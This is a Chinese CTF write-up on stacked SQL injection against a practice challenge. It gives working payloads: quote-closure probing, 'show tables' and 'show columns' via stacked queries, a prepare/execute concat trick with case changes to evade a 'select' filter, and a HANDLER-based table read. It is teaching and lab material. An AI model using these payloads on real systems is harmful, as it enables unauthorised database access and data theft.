发布时间:2022-09-14 12:00
考点:堆叠注入,通过set prepare 绕过select等一些可利用的限制
放入bp测试一下发现报错,得知其为单引号闭合前面order by 还行order by 2 正常回显 但3报错得知select中有两个数据。
第一时间想到的是联合注入,结果:
被过滤了,第一时间反应下来是去绕过过滤,不得。通过其它大佬的wp得知这边考点是堆叠注入。同时使得一个sql代码一次性执行两条以上的sql命令。
在本机mysql测试 如:
select 1;
-----
1
-----
1
-----
select 1;select 2;
-----
1
-----
1
-----
-----
2
-----
2
-----
于是构造pyload查表:
1' ;show tables--+
得到两个表
查看表中的列:
1' ;show columns from `1919810931114514`--+
注意:这里的``是表的专属符号并非单引号。
看到flag也猜到了flag在这里面了,所以words表可以不管了,有兴趣可以自己康康
为了绕过select可以使用mysql预处理语句绕过,放一篇预处理的文章
MySQL 预处理语句prepare、execute、deallocate的使用_我的博客-CSDN博客
构造的pyload:
1' ;set @sql=concat('sel','ect * from `1919810931114514`;');prepare errorr0 from @sql;EXECUTE errorr0;
结果又给过滤了:
但是还好绕过简简单单,普通的大小写绕过
1' ;Set @sql=concat('sel','ect * from `1919810931114514`;');Prepare errorr0 from @sql;EXECUTE errorr0;--+
也可以试试这个命令
1';handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭。
参考文章:攻防世界-web-高手进阶区017-supersqli - joker0xxx3 - 博客园
[GYCTF2020]Blacklist堆叠注入_浩歌已行的博客-CSDN博客
斯坦福NLP名课带学详解 | CS224n 第6讲 - 循环神经网络与语言模型(NLP通关指南·完结)
自然语言处理中的自注意力机制(Self-attention Mechanism)
使用 ABAP 事物码 SAT 对从浏览器打开的 SAP应用进行性能监控和测量
js 获取当前时间 年月日,uniapp定位 小程序打开地图选择地点
Python学习笔记-StatsModels 统计回归——线性回归
【PyTorch】动手学深度学习-梳理与笔记小结|深度学习计算
tensorboard 卸载后再安装报错ValueError: Duplicate plugins for name projector